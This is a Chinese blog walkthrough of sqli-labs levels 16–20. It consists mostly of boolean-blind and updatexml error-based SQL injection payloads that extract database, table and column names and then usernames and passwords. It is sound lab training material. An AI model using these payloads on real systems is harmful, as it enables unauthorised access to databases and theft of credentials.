sqli-labs通关攻略(16-20)

一,less-16

1,打开less-16并判断闭合方式

2,使用BP工具进行爆破得到下表(库名)

") and ascii(substr(database(),1,1))=115--+

3,如步骤二所示,使用对应的命令依次爆破出表名,字段名和数据

二,less-17

1,打开less-17并判断闭合

2,查库名

1' and (updatexml(1,concat(0x7e, database(),0x7e),1))#

3,查表名

1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) #

4,查字段名

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)#

5,获得数据

1' and  updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1)#

三,less-18

1,打开less-18

2,使用BP进行爆破获得数据

1'and updatexml(1,concat(1,(select group_concat(id,username,password) from users)),1) or'

四,less-19

1,打开less-19

2,使用BP爆破得到数据库名

3,如步骤二所示依次获得表名,字段名和数据

五,less-20

1,打开less-20,使用dumb    123进行登陆

2,使用BP查库名

'and updatexml(1,concat(1,database()),1) --+

3,查表名

' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+

4,查字段名

' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+

5,获得数据

' and updatexml(1,concat(1,(select group_concat(username,password)from users)),1) --+

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值